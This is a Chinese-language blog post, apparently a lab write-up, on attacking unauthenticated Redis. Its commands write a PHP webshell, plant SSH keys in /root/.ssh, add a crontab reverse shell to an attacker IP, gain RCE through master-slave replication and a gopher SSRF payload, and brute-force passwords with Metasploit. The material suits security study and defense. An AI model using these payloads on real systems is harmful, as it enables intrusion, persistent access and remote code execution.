REDIS未授权漏洞

发布于 2023-07-09  283 次阅读


  • 目标机:ubuntu20lts,攻击机:windows11

  • redis服务搭建在ubuntu上https://www.cnblogs.com/bmjoker/p/9548962.html

  • redis客户端搭建在win11https://blog.csdn.net/weixin_44893902/article/details/123087435

  • 这ssh真的难弄,下一篇单开一篇ssh的报告,来解决redis打ssh的问题

redis概念

  • Redis(Remote Dictionary Server)是一个开源的,基于内存的高性能键值存储系统。它提供了持久化的数据存储,并支持多种数据结构,如字符串、哈希表、列表、集合和有序集合等。redis有以下特点
  1. 高性能:Redis是一个基于内存的数据库,数据存储在内存中,因此读取和写入的速度非常快。它使用了高效的数据结构和算法,能够在毫秒级别处理大量的请求。
  2. 数据结构的灵活性:Redis支持多种数据结构,这使得开发人员可以根据需求选择最适合的数据结构来解决问题。例如,可以用Redis的哈希表实现缓存、用列表实现消息队列、用集合实现排行榜等。
  3. 持久化支持Redis可以将数据持久化到磁盘,确保数据在断电或服务器重启后不丢失。它提供了两种持久化方式:RDB快照和AOF日志。
  4. 分布式缓存:Redis 支持分布式缓存,可以将数据分布在多个节点上,提高了整个系统的扩展性和容错性。它具有内置的集群支持,可以通过添加更多的 Redis 节点来增加容量和吞吐量。
  5. 发布订阅功能:Redis提供了发布-订阅模式,允许多个客户端通过订阅频道来接收实时的消息,这对于构建实时通信系统、消息队列和事件驱动的应用程序非常有用。
  6. 应用场景广泛:基于Redis的特性,它在许多应用场景中都得到了广泛的应用,如缓存系统、实时分析、排行榜、会话存储、任务队列等。
  • 简单来说,redis将数据表存储在内存中使得其数据读写速度极快(别的数据库没法比),并且还提供写入到硬盘的功能,防止断电导致内存中存的数据丢失,同时redis支持集群共同存储.

未授权攻击

  • Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错)

  • 总之,目标要求满足

  1. Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  2. 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
  • 那么这个漏洞就很好理解了,想想如果有个mysql的服务开在了公网,没有登入ip限制,而且某个数据库甚至root没有密码,可以怎么玩.redis的处境就是如此,而mysql默认是不允许127.0.0.1以外的ip登录的,所以不存在这个漏洞

  • 拿靶机举个例子,ubuntu部署好之后打开默认配置文件redis.conf,搜索bind,发现bindip都被注释掉了,此时不对访问ip做出限制,即接收0.0.0.0(任何ip)的请求

  • 那么我们在ubuntu启动服务端
服务端
redis-server /etc/redis.conf(改了程序位置所以可以这么用,要是懒得cv,直接把两个文件加绝对路径也可以)

  • 服务开在了192.168.122.129:6379(和前面无回显rce反弹shell一样,本来要求服务端有公网,但是这里是nat下的局域网环境,所以可以直接连).最后连接成功,设置了一个id:drinkflower的键值对
客户端
redis-cli.exe -h 靶机IP -p 服务器端口(cmd启动命令)
.\redis-cli.exe -h 服务器IP -p 服务器端口(win10,win11用终端或者powershell启动得加个.\)

redis写马

  • 得先了解一点点redis的语法

  • SET 命令用于设置指定 key 的值

语法:SET key value [EX seconds] [PX milliseconds] [NX|XX]
示例:SET mykey "Hello"
描述:设置 key 的值为指定的 value。可以使用可选参数来控制键的行为,如设置过期时间、设置毫秒级过期时间以及设
置仅在键不存在时才设置值(NX)或仅在键已存在时才设置值(XX)。
  • GET 命令用于获取指定 key 的值。
语法:GET key
示例:GET mykey
描述:获取指定 key 的值。如果 key 不存在,返回 nil;如果 key 存在但对应的值不是字符串类型,返回错误。
  • CONFIG SET 是 Redis 提供的一个命令,用于动态地修改 Redis 的配置参数值。通过 CONFIG SET 命令,你可以在不重启 Redis 服务器的情况下修改配置文件中的某些参数。
语法:CONFIG SET parameter value

例如,要修改 Redis 的最大内存限制配置参数 maxmemory,可以使用以下命令:
CONFIG SET maxmemory 1G

这将将 Redis 的最大内存限制设置为 1GB。
  • 有以下配置值可以改
dir:指定 RDB 持久化文件的路径。
dbfilename:指定 RDB 持久化文件的名称。
appendfilename:指定 AOF 日志文件的名称。
maxmemory:限制 Redis 实例使用的最大内存量。
maxclients:限制连接到 Redis 服务器的最大客户端数量。
port:指定 Redis 服务器监听的端口。
bind:指定 Redis 服务器绑定的 IP 地址。
requirepass:设置连接 Redis 服务器所需的密码。
save:指定自动触发 RDB 持久化的条件。
loglevel:指定日志记录级别。
timeout:设置客户端连接超时时间。
  • save命令用来将之前的所有键值对存储到文件
  • 我们这里利用了RDB持久化来写入webshell,所以需要设置dir和dbfilename(注意目录不能有中文)
config get dir 
config set dir /var/www/html/
config set dbfilename shell.php
set shell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
  • 在写入webshell的时候,可以使用:\r\n来换行,有些redis版本写文件会自带一些版本文件,并且之前存的所有键值对都会被写到php里面,不换行可能导致php无法被正常解析.因为我的ubuntu没web环境,就不测试了

  • 成功写入,访问一下

redis打ssh

攻击原理

  • SSH是一种网络协议,用于计算机之间的加密登录。如果一个用户从本地计算机,使用SSH协议登录另一台远程计算机,我们就可以认为,这种登录是安全的,即使被中途截获,密码也不会泄露。
  • ssh允许公钥登录和密码登录,密码登录就是日常的登录,公钥登录就是我们这里要打的
  • 公钥登录的原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
  • 了解完ssh,那么原理就很简单了,我们在攻击机上面创建一对公钥和私钥,把公钥利用redis传到目标机上面,然后拿自己的私钥直接登录就可以ssh连接了

利用条件

  • 这个利用需要满足以下条件:
  1. 目标机必须开了ssh服务,不然写了ssh公钥也没法登录
  2. Redis服务使用root账号启动,不然redis没有写ssh目录的权限
  3. 存在/root/.ssh目录,如果不存在我们可以先写木马连接蚁剑创建目录,不过可能进不去因为root目录权限问题,这里就自己mkdir一个目录,毕竟是自己搭建靶场练习。/root/.ssh是隐藏目录可以通过ls -la查看有没有。

准备工作

  • 在练习的时候先看看开没开ssh,==使用下面的命令记得先把root权限拿了==
systemctl status ssh

(比如像这样就是压根没开ssh)

  • 实战情况下别人服务器没开ssh肯定没办法,但是这里拿自己电脑做练习所以手动把它打开
先安装ssh服务
apt install openssh-server

再看一下ssh开没开
systemctl status ssh

  • 完事之后检查一下自己靶机有没有防火墙
systemctl status ufw

(较高版本的ubuntu一般自带了的)

  • 没有最好,如果有,使用下面的命令让防火墙放行ssh就ok辣
ufw allow ssh

linux创建密钥对

  • 首先需要创建一对公钥和私钥,创建方式不唯一,比如linux下可以使用ssh命令创建
ssh-keygen -m PEM -t rsa -b 4096
顺序:
ssh-keygen \
    -m PEM \
    -t rsa \
    -b 4096 \
    -C "azureuser@myserver" \
    -f ~/.ssh/mykeys/myprivatekey \
    -N mypassphrase
解释:

ssh-keygen = 用于创建密钥的程序
-m PEM = 将密钥的格式设为 PEM
-t rsa = 要创建的密钥类型,本例中为 RSA 格式
-b 4096 = 密钥的位数,本例中为 4096
-C "azureuser@myserver" = 追加到公钥文件末尾以便于识别的注释。 通常以电子邮件地址用作注释,但也可以使用任何最适合你基础结构的事物。
-f ~/.ssh/mykeys/myprivatekey = 私钥文件的文件名(如果选择不使用默认名称)。 追加了 .pub 的相应公钥文件在相同目录中生成。 该目录必须存在。
-N mypassphrase = 用于访问私钥文件的其他密码。

  • 然后要输入一个(原本不存在的)目录/文件名(终端会自动创建),因为公钥我们要cv出来,所以不要默认值,而是选一个方便找的位置,注意输入的目录一定要不存在,不然就会出现这样的情况

  • 同时也要注意创建的目录名和原有的文件名有没有重复(我桌面本来有个名为1的文本文件,就冲突了),并且目录末尾不要加/,不然就会这样,笑死,看上去自相矛盾🤣

  • 生成的文件应该是这样的,这里的.pub是公钥,另一个是私钥

  • 密钥到这里就创建好了,可以先按照正常流程把公钥cv到目标机看看能不能ssh连接,控制变量法排除之后redis写公钥可能产生的错误
  • 攻击机将公钥cv到主机,主机cv给靶机(vm不支持虚拟机到虚拟机😵‍💫),放到目标靶机的随便一个位置,再在终端进root后cp到/root/.ssh文件夹(可能不存在,需要创建)
cp ssh.pub /root/.ssh
  • 根据默认的sshd_config文件(ssh配置文件),公钥的名字应该为authorized_keys,这个文件每一行就是一个公钥,所以改个名字
cp /root/.ssh/key.pub /root/.ssh/authorized_keys
  • linux登录(windows登录直接用finalshell之类的带ui的软件就行辣),注意一般是登root,因为不好去猜别人的用户名
ssh -i ssh文件 用户名@IP

或者
ssh -i ssh文件 root@IP

  • ==错误处理==
  1. 如果目标机的ssh没有经过专门配置,是不允许的ssh密钥登录,也不允许远程登录root的(用户名@ip,不加用户名也表示root登录),详细情况见(76条消息) 【Linux】ssh设置了密钥,但ssh登陆的时候还需要输入密码_ssh 用key登陆需要密码_zclinux_的博客-CSDN博客编辑 /etc/ssh/sshd_config 文件,进行如下设置(注意,改这个要root,直接vim改吧):
#允许密钥登录
#如果其中之一没有也不用管
#有井号要去掉

RSAAuthentication yes
PubkeyAuthentication yes
#允许root登录
#有井号要去掉

PermitRootLogin yes
  • 如果没改就登录会像下面这样,提示输密码,输对了也不行

  1. 在第一次尝试时,我图方便在目标机里面生成了密钥对,然后想着把私钥拷到攻击机,但是因为权限问题报错了,终端进root可以动那个文件,但是终端不能把文件拷贝出VMware.而不用终端就没法动那个文件,我就chmod了那个文件.事实证明密钥的文件权限会影响ssh的登录,ssh登录要求以下文件权限
目标机(实战不用管,别人配好了的):

chmod 700 /root/.ssh (ssh目录700)
chmod 644 key.pub (公钥644)
攻击机(默认值不要去改,错了再改):

chmod 600 key (私钥600)
  • 如果权限不对就会像下面这样,提示输密码,输对了也不行.所以一台机子要连接就创一个密钥对吧,别图方便😭

  1. 如果还是提示要输密码,那就是公钥名字没整对,看/etc/ssh/sshd_config配置文件里面的AuthorizedKeysFile值是多少,然后把公钥的名字改成那个

windows创建密钥对

  • windows下可以使用openssl工具创建,可以参考我的另一篇FRP在WINDOWS下实现TLS – drinkflower's blog,
  • 这里采用git来生成自己的ssh公钥与私钥,命令和linux都是差不多的,在桌面点击右键选择git bash here,执行和上面linux相同的命令,选择一下目录和文件名,不要密码
ssh-keygen -t rsa

  • 如果需要连接,使用finalshell之类的带ui界面的终端即可

写入公钥

  • 以linux举例,需要给linux也安一个redis-cli,kali直接输redis-cli,它会提示如何安装的

  • 如果是windows将下面的cat换成type,redis-cli也要换,见机行事

  • 把刚才测试用的公钥删掉

rm /root/.ssh/authorized_keys
  • 将公钥处理一下,上面下面加俩/n,来把redis写入的其他信息隔开,上面提到authorized_keys一行是一个公钥,所以其他行的无关信息不影响本行的内容.(windows就直接cv加俩空行吧)
(echo -e "\n\n";cat key.pub;echo -e "\n\n") > key.txt
  • 将公钥赋值给miao
cat key.txt | redis-cli -h 192.168.122.129 -p 6379 -x set miao
  • 修改写入文件位置
redis-cli -h 192.168.122.129 -p 6379 config set dir /root/.ssh
  • 这里需要redis是root开的,否则就会像下面这样

  • 修改写入文件名
redis-cli -h 192.168.122.129 -p 6379 config set dbfilename authorized_keys
  • 写入到文件
redis-cli -h 192.168.122.129 -p 6379 save

  • ssh直接连,终于成功了😭

crontab反弹shell

基本概念

  • Crontab 是一个在 Linux 和类 Unix 系统上用于定时执行任务的功能。它允许用户创建、编辑、安排和管理周期性执行的任务。

  • Crontab 的主要用途是自动化重复性的任务,例如定期备份文件、数据清理、日志轮转等。通过使用 Crontab,可以按照指定的时间表配置任务,并由系统自动触发执行,无需手动操作。

  • 命令行输入crontab -e会自动打开一个空文件:

crontab -e
  • 创建任务就相当于vim打开了一个文件,所以输入a或者i可以进入编辑状态,Esc键+“:wq”保存编辑

  • 保存成功的文件在/var/spool/cron/下面,命令被保存在crontabs文件里面

基本用法

  • 以下是 Crontab 的基本用法:
  1. 查看当前用户的 Crontab:使用命令crontab -l可以查看当前用户的Crontab执行列表。
  2. 编辑或创建 Crontab:使用命令crontab -e可以编辑或创建当前用户的Crontab文件。这将打开一个类似于文本编辑器的界面,你可以在其中指定要执行的任务以及执行的时间表。
  3. 编写Crontab任务:应按照特定的格式编写Crontab任务,以指定任务的执行时间和要运行的命令。基本格式如下:
Copy Code* * * * * command
  • 这些*分别表示
分钟 (0-59)

小时 (0-23)

日 (1-31)

月 (1-12)

星期几 (0-7,其中 0 和 7 都表示星期日)
  • 例如,如果你想在每天的上午 9 点运行一个脚本,可以编写如下的 Crontab 任务,这将在每天的上午 9 点执行 /path/to/your/script.sh脚本。
Copy Code0 9 * * * /path/to/your/script.sh
  1. 保存和退出:完成 Crontab 的编辑后,保存并退出编辑器。系统将在指定的时间表触发任务的执行。
  2. 其他常用命令:
  • crontab -r:删除当前用户的 Crontab。
  • crontab -l:列出当前用户的 Crontab。
  • crontab -u \ -l:列出指定用户名的 Crontab。

利用条件

  1. 首先crontab启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言crontab都是自启动的。所以一般来说不会是这个出问题。
service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态
  • 这里不一定是crond,不同环境下crond的名字可能不同,用以下命令进行查询
systemctl list-unit-files | grep cron
  • 比如我这里查出来有个cron.service,所以服务名就是cron,为打开状态
  1. redis的缓存数据写入到文件有乱码这个问题无法解决的。在crontab中centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。也就是说一般只能打centos
  2. root文件的权限必须为600,即rw———–,执行如下命令进行排查和更改.实战中别人如果用root写过,就不用管权限这些问题.
ls -l
chmod 600 root 
  1. 这个应该是反弹shell的通病,后面反弹shell的报告会详细说.反弹shell都是弹的bash的shell,有些系统默认shell是dash,要求目标系统是bash的shell,可以根据以下指令查看和更改.实战中如果不是就没办法了
ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash
  1. 不确定是不是必须条件,但是redis最好是root启动的

利用方式

  • 所以同打ssh一样,打ssh是写公钥,这里就是写计划任务,实际上不需要写crontab文件,写一个名为root的文件,它自然会被执行的.

  • 攻击机nc开个监听端口

nv -lvp 7777
  • 设置写文件路径
config set dir /var/spool/cron/crontabs
  • 设置文件名
config set dbfilename root
  • 写入任务,这里的shell语句解释见后面的反弹shell的报告,\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/攻击机ip:端口 0>&1\n\n"
  • 保存文件
save
  • 因为我把redis装ubuntu上的,肯定写不了,这里就不测试了

主从复制

  • Redis 主从复制是一种用于数据备份和高可用性的机制,它允许将一个 Redis 主服务器的数据复制到一个或多个 Redis 从服务器中。在 Redis 主从复制中,主服务器负责处理写操作(写入和更新数据),而从服务器负责复制主服务器的数据,并提供读取操作。这样可以降低主服务器的负载,并提高整个系统的性能和可扩展性。

  • 注意:只能用于4.x,5.x(最好攻击机和目标机都满足)

  • 实际上我们只是利用了主从复制,目的并不只是复制别人的数据库,而是拿shell

  • 下载脚本主体(kali下面)

git clone https://github.com/Ridter/redis-rce
  • 脚本需要另一个文件才能启动
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
  • 编译第二个下载文件,进到RedisModules-ExecuteCommand目录里面
make

  • 将生成的moudle.so移动到redis-rce文件里面,进入redis-rce即可启动
python redis-rce.py -r 192.168.122.129 -p 6379 -L 192.168.122.129 -p 6379 -f module.so  
#进入到redis-rce执行命令,-r是目标IP -L是攻击机ip ,攻击机也要装一个redis实现主从复制
  • 其他参数
usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                    [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -a AUTH, --auth AUTH  redis password
  -v, --verbose         show more info

(目标机版本不对,攻击机也不想再下redis-server了,就到此为止吧)

msf爆破密码

  • msfdb 可以直接在 Linux 终端中使用。它是 Metasploit Framework 的一部分,并且可以通过命令行界面进行管理和操作。msfdb 需要正确配置和安装 Metasploit Framework 才能正常运行。我的kali自带了这个
  • 开启msf
msfdb run

  • 查看有关redis的模块
search redis

  • 爆破redis密码是5号模块,就决定是你了
use 5
  • 展示需要设置的参数
show options
  • 设置目标机的ip
set RHOST 192.168.3.207
  • 运行模块
run

gopher打redis

  • 本身也是利用了redis未授权和redis可以写文件,只不过用了gopher协议,回头有空学习一下这个协议具体怎么生成的,这里整合一下把之前ssrf那道题拿过来
python2 gopherus.py --exploit redis
  • 其中,参数还可以是
--exploit mysql
--exploit postgresql
--exploit fastcgi
--exploit redis
--exploit zabbix
--exploit pymemcache
--exploit rbmemcache
--exploit phpmemcache
--exploit dmpmemcache
--exploit smtp
  • 使用gopherus脚本生成ssrf语句
python2 gopherus.py --exploit redis

What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html):(直接敲回车默认是例子)

Give PHP Payload (We have default PHP Shell): <?php eval($_POST[a];?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0
D%0A%2427%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Ba%5D%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfi
g%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig
%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave
%0D%0A%0A
  • 对_后面的再次进行url编码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250
D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%
2524_POST%255Ba%255D%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%25
0A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D
%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adb
filename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%2
50A
  • 将ip和端口改成目标机redis的ip和端口,直接访问即可生成shell.php

届ける言葉を今は育ててる
最后更新于 2024-02-07